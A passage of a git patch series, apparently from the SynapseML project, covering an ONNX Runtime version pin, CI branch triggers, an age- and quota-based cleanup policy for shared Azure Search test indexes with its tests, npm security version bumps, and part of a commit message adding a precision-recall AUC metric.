never + * ships macOS natives at all (CUDA has no macOS support), so upgrading `onnxruntime_gpu` alone cannot fix + * macOS. 1.17.3 is confirmed to fix local CPU inference and additionally publishes a CPU-only `onnxruntime` + * artifact with macOS x64/aarch64 natives, so it is used as the default cross-platform dependency in + * build.sbt. See docs/Explore Algorithms/Deep Learning/ONNX.md for the CUDA opt-in instructions. + */ +object OnnxRuntimeDependency { + val Version = "1.17.3" + private val Organization = "com.microsoft.onnxruntime" + private val ManagedArtifactIds: Set[String] = Set("onnxruntime", "onnxruntime_gpu") + + val settings: Seq[Setting[_]] = Seq( + libraryDependencies ~= { + _.map { + case dependency if dependency.organization == Organization && ManagedArtifactIds(dependency.name) => + if (dependency.revision != Version) { + println(s"[info] OnnxRuntimeDependency: overriding $Organization:${dependency.name} " + + s"${dependency.revision} -> $Version (see project/OnnxRuntimeDependency.scala).") + } + dependency.withRevision(Version) + case dependency if dependency.organization == Organization => + println(s"[warn] OnnxRuntimeDependency: leaving unmanaged $Organization:${dependency.name}:" + + s"${dependency.revision} at its declared version -- add it to ManagedArtifactIds in " + + s"project/OnnxRuntimeDependency.scala if it should track the shared $Version instead.") + dependency + case dependency => dependency + } + } + ) +} From fc2e62b42a961ad53d5f469d06b35a5e8ca6c2a2 Mon Sep 17 00:00:00 2001 From: Rana Singh Date: Sat, 15 Aug 2026 18:50:15 -0700 Subject: [PATCH 72/93] ci: run PR validation on the spark3.5, spark4.0 and spark4.1 branches (#2644) --- .github/workflows/codeql.yml | 4 ++-- .github/workflows/dependency-review.yml | 2 +- .github/workflows/pr-validation.yml | 2 +- pipeline.yaml | 2 ++ 4 files changed, 6 insertions(+), 4 deletions(-) diff --git a/.github/workflows/codeql.yml b/.github/workflows/codeql.yml index fe5617b12fb..b1ea47005c7 100644 --- a/.github/workflows/codeql.yml +++ b/.github/workflows/codeql.yml @@ -13,11 +13,11 @@ name: "CodeQL" on: push: - branches: [ "master", "spark4.1" ] + branches: [ "master", "spark3.5", "spark4.0", "spark4.1" ] paths-ignore: [ "**.md" ] pull_request: # The branches below must be a subset of the branches above - branches: [ "master", "spark4.1" ] + branches: [ "master", "spark3.5", "spark4.0", "spark4.1" ] paths-ignore: [ "**.md" ] schedule: - cron: '17 7 * * 3' diff --git a/.github/workflows/dependency-review.yml b/.github/workflows/dependency-review.yml index 7261c36bc68..814a5adcc6d 100644 --- a/.github/workflows/dependency-review.yml +++ b/.github/workflows/dependency-review.yml @@ -2,7 +2,7 @@ name: Dependency Review on: pull_request: - branches: [ "master", "spark4.1" ] + branches: [ "master", "spark3.5", "spark4.0", "spark4.1" ] permissions: contents: read diff --git a/.github/workflows/pr-validation.yml b/.github/workflows/pr-validation.yml index 782bd8a7d33..83759789504 100644 --- a/.github/workflows/pr-validation.yml +++ b/.github/workflows/pr-validation.yml @@ -2,7 +2,7 @@ name: PR Validation on: pull_request: - branches: [ "master", "spark4.1" ] + branches: [ "master", "spark3.5", "spark4.0", "spark4.1" ] paths-ignore: [ "**.md", "docs/**", "website/**" ] jobs: diff --git a/pipeline.yaml b/pipeline.yaml index 02a6ea9262b..6839d00c23c 100644 --- a/pipeline.yaml +++ b/pipeline.yaml @@ -13,6 +13,7 @@ trigger: include: - master - spark3.5 + - spark4.0 - spark4.1 paths: exclude: @@ -29,6 +30,7 @@ pr: include: - master - spark3.5 + - spark4.0 - spark4.1 paths: exclude: From 2174c6e14c8abb5dafdac81f6c493dcdb951957a Mon Sep 17 00:00:00 2001 From: Rana Singh Date: Sat, 15 Aug 2026 19:44:03 -0700 Subject: [PATCH 73/93] fix: reclaim search test indexes under quota pressure, not by age alone (#2640) --- .../search/SearchIndexRetention.scala | 96 ++++++++++++ .../search/SearchIndexRetentionSuite.scala | 143 ++++++++++++++++++ .../split1/SearchWriterSuitePart1.scala | 99 +++++++----- pipeline.yaml | 1 + 4 files changed, 304 insertions(+), 35 deletions(-) create mode 100644 cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/search/SearchIndexRetention.scala create mode 100644 cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/search/SearchIndexRetentionSuite.scala diff --git a/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/search/SearchIndexRetention.scala b/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/search/SearchIndexRetention.scala new file mode 100644 index 00000000000..3e7da994981 --- /dev/null +++ b/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/search/SearchIndexRetention.scala @@ -0,0 +1,96 @@ +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml.services.search + +import java.time.format.{DateTimeFormatter, DateTimeFormatterBuilder, DateTimeParseException, SignStyle} +import java.time.temporal.ChronoField +import java.time.{Duration, LocalDateTime} +import scala.util.matching.Regex + +/** Decides which of the shared search service's test indexes a run is allowed to delete. + * + * The service will only hold [[MaxIndexes]] indexes and the search suites create one per test, so + * a run that deletes only what it created will eventually find the service full and fail in + * `beforeAll` before it can create anything. Collecting purely by age does not save it either + * once the cap is reached faster than the retention window expires. That is what happened in + * issue #2639: the service sat at 48 of 50 indexes while the oldest was barely 40 hours old, so a + * two day cutoff selected nothing and every build in the repository, `master` included, failed + * until the indexes were deleted by hand. + * + * The policy here is therefore driven by pressure rather than by age alone. Anything past + * [[RoutineAge]] is collected on every sweep, and when that still does not leave + * [[DesiredFreeSlots]] free the sweep keeps taking the next oldest index until it does. + * [[MinimumAge]] is the floor that stops it from ever touching an index a concurrently running + * build might still be using. + */ +object SearchIndexRetention { + + /** Maximum number of indexes the shared service will hold. */ + val MaxIndexes: Int = 50 + + /** Slots a run wants free before it starts creating indexes of its own. */ + val DesiredFreeSlots: Int = 10 + + /** Never collect an index younger than this. A full pipeline run finishes well inside an hour, + * so an index older than this cannot still belong to a build that is running. + * + * This holds only while every run stamps names on the same clock. [[age]] can do no better + * than subtract the name's timestamp from the caller's `now`, so a name written in local time + * and read from another zone is wrong by the offset between them, and an offset larger than + * this floor would let a sweep collect an index a live build had just created. Producers and + * callers therefore both work in UTC. + */ + val MinimumAge: Duration = Duration.ofHours(3) + + /** Collected on every sweep, however much room happens to be left. */ + val RoutineAge: Duration = Duration.ofHours(12) + + /** Test index names are the ones `generateIndexName` writes: a `test-` prefix, then a hash, then + * the 17 digit timestamp [[Formatter]] produces. + * + * The prefix is part of the match on purpose. The sweep reads every index in the shared + * service, not just this suite's, so matching on the timestamp alone would let it delete a + * foreign index that happened to end in 17 digits. That was survivable while collection only + * touched indexes older than two days; now that a sweep routinely collects at [[RoutineAge]] + * and drops to [[MinimumAge]] under pressure, it is not. + */ + private val TimestampedName: Regex = "^test-.*-(\\d{17})$".r + + /** When a date pattern starts with 'yyyy' and has no separator following, the parser can + * sometimes decide to take the whole string to match the year, which results in an exception. + * The following is a hackaround. + */ + val Formatter: DateTimeFormatter = new DateTimeFormatterBuilder() + .appendValue(ChronoField.YEAR_OF_ERA, 4, 4, SignStyle.EXCEEDS_PAD) + .appendPattern("MMddHHmmssSSS").toFormatter() + + /** How old the index its name says it is, or None when the name carries no usable timestamp. */ + def age(name: String, now: LocalDateTime): Option[Duration] = name match { + case TimestampedName(stamp) => + try Some(Duration.between(LocalDateTime.parse(stamp, Formatter), now)) + catch { case _: DateTimeParseException => None } + case _ => None + } + + /** Every index this run is allowed to delete, oldest first. + * + * An index whose name carries no timestamp is never collected: without an age there is no way + * to tell it apart from one a running build just created. + */ + def collectable(existing: Seq[String], now: LocalDateTime): Seq[(String, Duration)] = + existing.flatMap(name => age(name, now).map(name -> _)) + .filter { case (_, indexAge) => indexAge.compareTo(MinimumAge) > 0 } + .sortBy { case (_, indexAge) => -indexAge.toMillis } + + /** The indexes to delete on this sweep, oldest first. */ + def select(existing: Seq[String], now: LocalDateTime): Seq[String] = { + val candidates = collectable(existing, now) + // candidates is oldest first, so the routine ones are exactly its first `routine` entries and + // taking any more than that walks steadily towards the youngest index still safe to collect. + val routine = candidates.count { case (_, indexAge) => indexAge.compareTo(RoutineAge) > 0 } + val freeAfterRoutine = MaxIndexes - existing.size + routine + val shortfall = math.max(0, DesiredFreeSlots - freeAfterRoutine) + candidates.take(routine + shortfall).map { case (name, _) => name } + } +} diff --git a/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/search/SearchIndexRetentionSuite.scala b/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/search/SearchIndexRetentionSuite.scala new file mode 100644 index 00000000000..fc436116109 --- /dev/null +++ b/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/search/SearchIndexRetentionSuite.scala @@ -0,0 +1,143 @@ +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml.services.search + +import com.microsoft.azure.synapse.ml.core.test.base.TestBase + +import java.time.LocalDateTime + +/** Covers the retention policy that keeps the shared search service from filling up (issue #2639). + * + * None of this talks to the service, so it runs on every build rather than only on the ones that + * have search credentials, which matters because the bug it guards against took down `master`. + */ +class SearchIndexRetentionSuite extends TestBase { + + import SearchIndexRetention._ + + private val now: LocalDateTime = LocalDateTime.of(2026, 8, 15, 12, 0, 0) + + /** A name shaped exactly like the ones generateIndexName produces. */ + private def index(hoursOld: Long, tag: String = "1534278552"): String = + s"test-$tag-${Formatter.format(now.minusHours(hoursOld))}" + + /** Enough young indexes to sit `holding` short of the cap without any being collectable. */ + private def young(count: Int): Seq[String] = + (1 to count).map(i => index(1, s"young$i")) + + test("An index younger than the minimum age is never collected") { + val recent = Seq(index(MinimumAge.toHours - 1)) + assert(collectable(recent, now).isEmpty) + assert(select(recent, now).isEmpty) + } + + test("An index past the routine age is collected even when the service is nearly empty") { + val old = index(RoutineAge.toHours + 1) + assert(select(Seq(old), now) == Seq(old)) + } + + test("An index between the minimum and routine ages is kept while there is room") { + val middling = index(RoutineAge.toHours - 1) + assert(collectable(Seq(middling), now).map { case (n, _) => n } == Seq(middling)) + assert(select(Seq(middling), now).isEmpty) + } + + test("Pressure reclaims indexes that are too young for the routine sweep") { + // This is issue #2639: the service one index below its cap with nothing past the old two day + // cutoff. A purely age based sweep selected nothing here and the suite then failed to create. + val reclaimable = (1 to 20).map(i => index(MinimumAge.toHours + i, s"mid$i")) + val existing = reclaimable ++ young(MaxIndexes - 2 - reclaimable.size) + assert(existing.size == MaxIndexes - 2) + val collected = select(existing, now) + assert(collected.nonEmpty) + assert(existing.size - collected.size <= MaxIndexes - DesiredFreeSlots) + } + + test("Pressure reclaims the oldest indexes first") { + val existing = (1 to 20).map(i => index(MinimumAge.toHours + i, s"mid$i")) ++ + young(MaxIndexes - 2 - 20) + val collected = select(existing, now) + val ages = collected.map(name => age(name, now).get.toHours) + assert(ages == ages.sorted.reverse, "expected oldest first") + assert(ages.min > MinimumAge.toHours, "must not cross the safety floor") + } + + test("Pressure never collects an index a running build could still own") { + // Every index is under the floor, so even at the cap there is nothing safe to take. + val existing = (1 to MaxIndexes).map(i => index(MinimumAge.toHours - 1, s"busy$i")) + assert(select(existing, now).isEmpty) + } + + test("The pressure sweep stops once it has freed enough room") { + // Every index sits between the two ages, so nothing is collected routinely and the whole + // selection is pressure driven. It should stop the moment there is enough room, not keep going. + val existing = (1 to MaxIndexes).map(i => + index(MinimumAge.toHours + 1 + (i % (RoutineAge.toHours - MinimumAge.toHours - 1)), s"mid$i")) + assert(collectable(existing, now).size == MaxIndexes, "expected every index to be collectable") + assert(select(existing, now).size == DesiredFreeSlots) + } + + test("The routine sweep is not capped by the free slot target") { + // Anything past the routine age is garbage, so it all goes even though far fewer would do. + val existing = (1 to MaxIndexes).map(i => index(RoutineAge.toHours + i, s"old$i")) + assert(select(existing, now).size == MaxIndexes) + } + + test("An index with no timestamp in its name is left alone") { + // Nothing can be inferred about its age, so it is not this sweep's to delete. + val untimestamped = Seq("test-website", "test-33467690", "examplevectorindex") + assert(select(untimestamped, now).isEmpty) + assert(untimestamped.flatMap(age(_, now)).isEmpty) + } + + test("An index whose timestamp is not a real date is left alone") { + assert(age("test-1-99999999999999999", now).isEmpty) + assert(select(Seq("test-1-99999999999999999"), now).isEmpty) + } + + /** The sweep reads every index in the shared service, not just the ones these suites made, so a + * foreign name that happens to end in 17 digits must never be collected however old it looks + * or however full the service is. + */ + test("An index that is not one of ours is never collected") { + val foreign = Seq( + index(RoutineAge.toHours * 10, "x").stripPrefix("test-"), + s"prod-catalog-${Formatter.format(now.minusDays(30))}") + assert(foreign.flatMap(age(_, now)).isEmpty) + assert(select(foreign, now).isEmpty) + assert(select(foreign ++ young(MaxIndexes - foreign.size), now).isEmpty) + } + + test("Age is read back from the name generateIndexName would have written") { + assert(age(index(5), now).map(_.toHours).contains(5L)) + // UUID.randomUUID().hashCode() is signed, so the hash segment is sometimes negative. + assert(age(index(5, "-1534278552"), now).map(_.toHours).contains(5L)) + } + + /** Guards the clock convention [[SearchIndexRetention.MinimumAge]] depends on. The shared + * service is written to both by the UTC build agents and from workstations, so a name stamped + * in the writer's local time reads as wrong by the offset between the two zones. Offsets reach + * well past the floor -- the live service showed indexes apparently seven hours in the future + * when read from a UTC-7 machine -- which would be enough for a sweep to collect an index a + * running build had just created. + */ + test("An index is aged on the same clock it was named on") { + val stamped = s"test-utc-${Formatter.format(now)}" + assert(age(stamped, now).map(_.toHours).contains(0L)) + assert(select(Seq(stamped), now).isEmpty) + + // Reading the same name against a clock seven hours ahead ages it past the floor, which is + // what naming in local time would do to a build that is still using the index. + val skewed = age(stamped, now.plusHours(7)) + assert(skewed.map(_.toHours).contains(7L)) + assert(skewed.exists(_.compareTo(MinimumAge) > 0)) + } + + test("The safety floor leaves room for a pipeline run to finish") { + // A full run is well under an hour; anything near that would make the sweep race live builds. + assert(MinimumAge.toHours >= 2) + assert(RoutineAge.compareTo(MinimumAge) > 0) + assert(DesiredFreeSlots > 0 && DesiredFreeSlots < MaxIndexes) + } +} diff --git a/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/search/split1/SearchWriterSuitePart1.scala b/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/search/split1/SearchWriterSuitePart1.scala index 8fc429cd4e7..dc28bbc0205 100644 --- a/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/search/split1/SearchWriterSuitePart1.scala +++ b/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/search/split1/SearchWriterSuitePart1.scala @@ -17,12 +17,12 @@ import org.apache.spark.ml.util.MLReadable import org.apache.spark.sql.DataFrame import org.scalatest.{Outcome, TestData} -import java.time.LocalDateTime -import java.time.format.{DateTimeFormatter, DateTimeFormatterBuilder, DateTimeParseException, SignStyle} -import java.time.temporal.ChronoField +import java.time.{LocalDateTime, ZoneOffset} +import java.time.format.DateTimeFormatter import java.util.UUID import scala.collection.mutable import scala.concurrent.blocking +import scala.util.control.NonFatal trait AzureSearchKey { lazy val azureSearchKey: String = sys.env.getOrElse("AZURE_SEARCH_KEY", Secrets.AzureSearchKey) @@ -35,11 +35,15 @@ class SearchWriterSuiteUtilities extends TestBase with AzureSearchKey private[ml] val testServiceName = "mmlspark-azure-search" - // When a date pattern starts with 'yyyy' and has no separator following, the parser can sometimes decide - // to take the whole string to match the year, which results in an exception. The following is a hackaround. - val formatter: DateTimeFormatter = new DateTimeFormatterBuilder() - .appendValue(ChronoField.YEAR_OF_ERA, 4, 4, SignStyle.EXCEEDS_PAD) - .appendPattern("MMddHHmmssSSS").toFormatter() + /** Status the service returns for an index it has just deleted. */ + private val deletedStatus: Int = 204 + /** Status for an index that is already gone. */ + private val notFoundStatus: Int = 404 + /** Stand-in status for a delete that threw before it got a response. */ + private val unknownDeleteStatus: Int = -1 + + // Shared with SearchIndexRetention, which has to read back the timestamps written here. + val formatter: DateTimeFormatter = SearchIndexRetention.Formatter private[ml] def createTestData(numDocs: Int): DataFrame = { (0 until numDocs) @@ -140,7 +144,12 @@ class SearchWriterSuiteUtilities extends TestBase with AzureSearchKey testName.get } - val date = formatter.format(LocalDateTime.now()) + // UTC, not the default zone: the timestamp in the name is the only record of when an index + // was made, and `cleanOldIndexes` will not collect one until it is `MinimumAge` old. Naming + // in local time makes that age wrong by the reader's offset whenever the two runs sit in + // different zones, which is the normal case here because the service is shared between the + // UTC build agents and whoever runs these suites from a workstation. + val date = formatter.format(LocalDateTime.now(ZoneOffset.UTC)) val name = s"test-${UUID.randomUUID().hashCode()}-${date}" createdIndexes.getOrElseUpdate(testNameNormalized, mutable.HashSet[String]()).+=(name) name @@ -171,9 +180,14 @@ class SearchWriterSuiteUtilities extends TestBase with AzureSearchKey println("Cleaning up services") val indexNames = this.createdIndexes.values.flatten println(s"Remaining indices: ${indexNames.mkString(",")}") - cleanTestIndices(indexNames) - cleanOldIndexes() - super.afterAll() + try { + cleanTestIndices(indexNames) + } finally { + // Still sweep and tear down Spark even when this run could not delete its own indexes, + // since skipping the sweep is what leaves the service full for the run after this one. + cleanOldIndexes() + super.afterAll() + } () } @@ -193,34 +207,49 @@ class SearchWriterSuiteUtilities extends TestBase with AzureSearchKey } private[ml] def cleanTestIndices(indices: Iterable[String]): Unit = { - val successfulCleanup = getExisting(azureSearchKey, testServiceName) - .intersect(indices.toSeq).map { n => - println(s"Deleting index $n") - deleteIndex(n) - }.forall(_ == 204) - assert(successfulCleanup) + val existing = getExisting(azureSearchKey, testServiceName).toSet + val failed = deleteQuietly(indices.filter(existing.contains)) + assert(failed.isEmpty, s"Could not delete test indices ${failed.mkString(",")}") () } - def cleanOldIndexes(): Unit = { - import scala.util.matching.Regex - - val twoDaysAgo = LocalDateTime.now().minusDays(2) - val endingDatePattern: Regex = "^.*-(\\d{17})$".r - val e = getExisting(azureSearchKey, testServiceName) - e.foreach { - case name@endingDatePattern(dateString) => - try { - val date = LocalDateTime.parse(dateString, formatter) - if (date.isBefore(twoDaysAgo)) { - deleteIndex(name) - } - } catch { - case _: DateTimeParseException => {} - case t: Throwable => throw t + /** Deletes every index named and returns the ones that survived. + * + * Nothing is thrown, because a sweep that stops at its first failure is how the service fills + * up: the indexes behind the failure are left behind and the run that would have collected + * them never gets that far. + */ + private[ml] def deleteQuietly(indices: Iterable[String]): Seq[String] = + indices.toSeq.filter { name => + println(s"Deleting index $name") + val status = + try deleteIndex(name) + catch { + case NonFatal(t) => + println(s"Failed to delete index $name: $t") + unknownDeleteStatus } - case _ => {} + // A 404 means something else already collected it, which does just as well. + status != deletedStatus && status != notFoundStatus } + + /** Frees room on the shared service, deleting the oldest test indexes first. + * + * Never throws. This runs at the start of `beforeAll`, so letting it fail would take down the + * whole suite over indexes that another run is free to collect later. + */ + def cleanOldIndexes(): Unit = { + try { + val existing = getExisting(azureSearchKey, testServiceName) + val collected = SearchIndexRetention.select(existing, LocalDateTime.now(ZoneOffset.UTC)) + println(s"Service $testServiceName holds ${existing.size} of ${SearchIndexRetention.MaxIndexes} indexes, " + + s"reclaiming ${collected.size}") + val failed = deleteQuietly(collected) + if (failed.nonEmpty) println(s"Could not reclaim ${failed.mkString(",")}") + } catch { + case NonFatal(t) => println(s"Could not reclaim old indexes: $t") + } + () } private[ml] def retryWithBackoff[T](f: => T, diff --git a/pipeline.yaml b/pipeline.yaml index 6839d00c23c..8489ed5d62c 100644 --- a/pipeline.yaml +++ b/pipeline.yaml @@ -871,6 +871,7 @@ jobs: com.microsoft.azure.synapse.ml.services.search.AzureSearchGenericParamPersistenceSuite com.microsoft.azure.synapse.ml.services.search.IndexSchemaLiveRoundTripSuite com.microsoft.azure.synapse.ml.services.search.IndexSchemaParsingSuite + com.microsoft.azure.synapse.ml.services.search.SearchIndexRetentionSuite com.microsoft.azure.synapse.ml.services.speech.SpeechToTextSDKSecuritySuite steps: - template: templates/sbt_cache.yml From 55e4c2593d71af86dd71feb26dc394826a919497 Mon Sep 17 00:00:00 2001 From: Rana Singh Date: Sat, 15 Aug 2026 19:45:48 -0700 Subject: [PATCH 74/93] fix(website): patch all fixable high-severity npm advisories (#2647) --- website/package-lock.json | 16 ++++++++-------- website/package.json | 7 ++++--- 2 files changed, 12 insertions(+), 11 deletions(-) diff --git a/website/package-lock.json b/website/package-lock.json index f07c9227a17..aef7b374391 100644 --- a/website/package-lock.json +++ b/website/package-lock.json @@ -5973,8 +5973,8 @@ } }, "node_modules/brace-expansion": { - "version": "1.1.16", - "integrity": "sha512-IDw48K2/2kRkg9LdJxurvq3lV3aBgq0REY89duEqFRthjlPdXHKMj7EnQOXVckxzgisinf3nHfrcE2FufFLXMw==", + "version": "1.1.18", + "integrity": "sha512-Edep/X9fGqVNmzKBVsDYIOtD+z1tuezV70LBjdCst9Tqu76lsnvRiZ6oTic1n+/BIwX6QDGAO94PN4N2SADvtw==", "license": "MIT", "dependencies": { "balanced-match": "^1.0.0", @@ -8044,8 +8044,8 @@ "license": "MIT" }, "node_modules/fast-uri": { - "version": "3.1.4", - "integrity": "sha512-8JnbkQ4juDyvYs4mgFGQqg4yCYtFDtUtmp2QIQq11ZZe5CFQ5wcqm1rqDgAh/QdMySuBnPzMUiJUNZG5N/AiQw==", + "version": "3.1.5", + "integrity": "sha512-gHwA1O9LDIcKunMKhObS/HimwtehO1nPUECKAu5TpKgaO19fcWEl4bliWe1jWxVFvIXztJjjQ4L8XQ1EU9f7Jw==", "funding": [ { "type": "github", @@ -9618,8 +9618,8 @@ "license": "MIT" }, "node_modules/js-yaml": { - "version": "4.3.0", - "integrity": "sha512-1td788aAnnZ5qs7V2QIRl1owjtYpbKt749Y3xauqQgwIIGF/xXWz1wMTEBx5O3LK3lXLVuqXPdPxj2BoFHaW9Q==", + "version": "4.3.1", + "integrity": "sha512-CY6crGq313MX8GkwvB7tzgp99vjQxY1++5y10/BKN/GUfHqWaOGQMNZkBvqSzsZKWk/ijwHlWzzkLulsGHhjWQ==", "funding": [ { "type": "github", @@ -12368,8 +12368,8 @@ } }, "node_modules/nanoid": { - "version": "3.3.16", - "integrity": "sha512-bzlKTyNJ7+LdGIIwy8ijFpIqEQIvafahV7eYykJ8Cvh42EdJeODoJ6gUJXpQJvej1BddH8OqTXZNE/KfbWAu8Q==", + "version": "3.3.18", + "integrity": "sha512-DTg4MJbGMWkfi6VZFdNt2/caMbQy4Ou+Op/hJQvGEWcnVfoA1QA+xzRKAzw9jD6+GVOOeYr/mIcuDSdug6F6+w==", "funding": [ { "type": "github", diff --git a/website/package.json b/website/package.json index 4147b10186f..4ffa13c705f 100644 --- a/website/package.json +++ b/website/package.json @@ -34,13 +34,14 @@ "overrides": { "ajv@<6.14.0": "6.14.0", "ajv@>=7.0.0-alpha.0 <8.18.0": "8.20.0", - "brace-expansion@<1.1.16": "1.1.16", + "brace-expansion@<1.1.18": "1.1.18", "cross-spawn@>=7.0.0 <7.0.5": "7.0.6", - "fast-uri@<3.1.4": "3.1.4", + "fast-uri@<3.1.5": "3.1.5", "follow-redirects@<=1.15.11": "1.16.0", - "js-yaml@>=4.0.0 <4.3.0": "4.3.0", + "js-yaml@>=4.0.0 <4.3.1": "4.3.1", "lodash@<=4.17.23": "4.18.1", "micromatch@<4.0.8": "4.0.8", + "nanoid@<3.3.18": "3.3.18", "path-to-regexp@>=0.2.0 <1.9.0": "1.9.0", "serialize-javascript": "7.0.7", "shell-quote@<1.10.0": "1.10.0", From f7a1dc50d09d400d279d08bf69a1fac322896748 Mon Sep 17 00:00:00 2001 From: Rana Singh Date: Sat, 15 Aug 2026 23:21:10 -0700 Subject: [PATCH 75/93] feat(core): add precision-recall AUC metric (#2635) * feat(core): add precision-recall AUC metric AB#1789611 ## Summary Expose Spark's binary-classification areaUnderPR metric through ComputeModelStatistics, aggregate classification output, AutoML model selection, schema mapping, API documentation, and regression tests. ## Prompting Intent Implement GitHub issue #1509 as a focused metric feature. Preserve the existing AUC/ROC meaning and values, use JDK 11 guarded validation, cover imbalanced-data numerics and invalid selections, and keep generated or validation artifacts out of the repository. ## Linked Sources - GitHub issue: https://github.com/microsoft/SynapseML/issues/1509 - Spark BinaryClassificationMetrics API: https://spark.apache.org/docs/3.5.0/api/scala/org/apache/spark/mllib/evaluation/BinaryClassificationMetrics.html - Project code review: local pre-commit SynapseML code-review run ## Rationale Use the repository- and Spark-consistent areaUnderPR name because Spark computes trapezoidal precision-recall AUC, which can differ from step-wise average precision. Keep AUC as ROC AUC, accept the existing areaUnderROC constant as an additive alias, append PR AUC after existing binary metrics, and reuse/unpersist one BinaryClassificationMetrics instance for aggregate ROC and PR computation. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> * test(core): relax metric numeric tolerances AB#1789611 ## Summary Relax the new PR-AUC and ROC-AUC numeric assertions from 1e-12 to 1e-8 to avoid platform-sensitive floating-point failures while retaining exact expected values. ## Prompting Intent Address the inline PR review request for robust cross-platform numeric tolerances without changing metric behavior or broadening the feature scope. ## Linked Sources - GitHub issue: https://github.com/microsoft/SynapseML/issues/1509 - Pull request: https://github.com/microsoft/SynapseML/pull/2635 - Review comment: https://github.com/microsoft/SynapseML/pull/2635#discussion_r3787721549 ## Rationale A 1e-8 tolerance matches established repository practice and is tight enough to detect semantic regressions while avoiding false failures from Spark/JVM floating-point differences. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> * fix(core): reject multiclass AUC schemas AB#1789611 ## Summary Reject binary-only AUC metric selections during schema validation when SynapseML categorical metadata proves the label has more than two levels, with focused alias and compatibility tests. ## Prompting Intent Address review feedback that AUC, areaUnderROC, and areaUnderPR could pass transformSchema for a known multiclass label and then fail during transformation, without changing legacy schema output or unknown-cardinality behavior. ## Linked Sources - GitHub issue: https://github.com/microsoft/SynapseML/issues/1509 - Pull request: https://github.com/microsoft/SynapseML/pull/2635 - Copilot review: https://github.com/microsoft/SynapseML/pull/2635#pullrequestreview-4942044877 ## Rationale The guard reuses the same SynapseML categorical metadata read by runtime evaluation, so it rejects only proven multiclass schemas. Missing labels and non-MML or absent metadata remain unknown to preserve compatibility, including filtered data whose native Spark metadata may be stale. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> * ci: scope release compatibility prerequisites AB#1789611 Allow release-compatibility prerequisite entries to scope an ancestor commit to exact target-baseline paths, and register the two master-only metric test files required to replay PR #2635 onto Spark 4.1. Make PR #2635's Spark 4.1 compatibility check pass using the repository prerequisite mechanism and PR #2637's precedent, without dropping or weakening PR-AUC tests on master. - GitHub issue: https://github.com/microsoft/SynapseML/issues/1509 - Pull request: https://github.com/microsoft/SynapseML/pull/2635 - Prerequisite precedent: https://github.com/microsoft/SynapseML/pull/2637 - Test introduction commit: https://github.com/microsoft/SynapseML/commit/6938c472175ed1592ec24e7d8c65d9174f17c4e5 The original test-introduction commit contains 49 unrelated release paths and cannot be replayed safely as a whole. Optional literal path scopes preserve existing SHA-only behavior while validating that each selected add-only blob exactly matches the PR target, so Spark 4.1 receives only the missing test baselines before the unchanged PR patch. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> * style(ci): format release replay tests AB#1789611 ## Summary Format the release-compatibility pipeline tests with the repository-pinned Black version. ## Prompting Intent Fix the PR's Python style validation after adding scoped prerequisite replay coverage, without changing test behavior or feature scope. ## Linked Sources - Pull request: https://github.com/microsoft/SynapseML/pull/2635 - Spark 4.1 validation precedent: https://github.com/microsoft/SynapseML/pull/2637 ## Rationale Using Black 22.3 exactly matches repository CI and keeps the compatibility tests behaviorally unchanged. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> * fix(core): align binary statistics schema and CI parsing ## Summary Use normalized prerequisite lines for scoped release replay entries, expose binary aggregate metric columns from transformSchema when categorical metadata proves binary cardinality, preserve the legacy common-metric schema for multiclass and unknown cardinality, and synchronize metric documentation. ## Prompting Intent Make PR #2635 merge-ready by resolving live and suppressed review feedback without breaking existing multiclass or source compatibility. Add CRLF/trailing-whitespace regression coverage, strong binary/multiclass schema tests, and retain the established metric-only transformSchema contract. ## Linked Sources - GitHub issue: https://github.com/microsoft/SynapseML/issues/1509 - Pull request: https://github.com/microsoft/SynapseML/pull/2635 - Scoped prerequisite review: https://github.com/microsoft/SynapseML/pull/2635#discussion_r3790742412 - Statistics schema review: https://github.com/microsoft/SynapseML/pull/2635#discussion_r3790742422 - Suppressed review feedback: https://github.com/microsoft/SynapseML/pull/2635#pullrequestreview-4943018162 ## Rationale Parsing scoped fields from the fully trimmed line removes CRLF and surrounding whitespace while preserving tab-delimited path semantics. Binary columns are advertised only when existing SynapseML categorical metadata establishes at most two levels; unknown and multiclass schemas keep the long-standing common metric list. evaluation_type, confusion_matrix, and multiclass detail columns remain runtime-only because adding them would change the established public schema contract beyond this feature. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> * fix(ci): reject non-normalized prerequisite paths ## Summary Reject scoped release-compatibility paths containing empty or dot components, including repeated slashes, interior or terminal dot segments, and trailing slashes. Keep the Python configuration guardrail aligned with the Bash validation and add end-to-end replay regressions. ## Prompting Intent Resolve the two new PR #2635 review threads robustly by preventing non-normalized scoped prerequisite paths from being silently skipped or failing later Git object lookups. Cover both valid edge cases and every reported invalid form using the actual embedded replay script. ## Linked Sources - Pull request: https://github.com/microsoft/SynapseML/pull/2635 - Bash validation review: https://github.com/microsoft/SynapseML/pull/2635#discussion_r3790902450 - Python guardrail review: https://github.com/microsoft/SynapseML/pull/2635#discussion_r3790902459 ## Rationale The Bash script validates path components lexically before matching against replay paths, avoiding filesystem-dependent canonicalization and preserving valid names such as .hidden and .... The Python helper applies the same component rules to the checked-in configuration, while parameterized Linux replay tests prove the production Bash rejects dot segments, repeated slashes, trailing slashes, and terminal dot components. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> * fix(ci): reject scoped path field whitespace ## Summary Preserve CRLF line-ending compatibility while rejecting leading or trailing whitespace in every tab-separated 